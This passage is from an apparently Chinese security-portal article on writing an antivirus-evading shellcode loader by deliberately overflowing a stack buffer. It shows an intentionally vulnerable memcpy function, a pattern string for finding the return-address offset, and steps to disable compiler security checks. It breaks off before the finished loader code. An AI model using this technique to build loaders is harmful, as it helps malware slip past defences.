官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
最近在看pwn和免杀,发觉可以使用栈溢出来加载shellcode,就做了一些尝试,使用栈溢出来编写加载器。
loader函数如下
int loader(int size, char* str) {
char eee[10];
memcpy(eee, str, size);
return 0;
}
接下来做个测试,来判断哪个位置会覆盖到返回地址
测试代码如下
#include<stdio.h>
#include<Windows.h>int loader(int size, char* str) {
char eee[10];
memcpy(eee, str, size);
return 0;
}int main() {
char* iii = "11111111222222223333333344444444555555556666666677777777888888889999999900000000aaaaaaaabbbbbbbb";
loader(200, iii);system("pause");
}
但是在测试之前,还需要对vs进行一些配置,禁用基本运行时检查和安全检查
关闭优化
编译后使用xdebug打开进行调试
ret返回时,栈顶指针执行3636363636363636,0x36是6的ascii码,那么loader函数的返回地址位置就是66666666那里,只需要将66666666换成shellcode地址就可以进行加载了。
依据上面思路,不难写出下面加载代码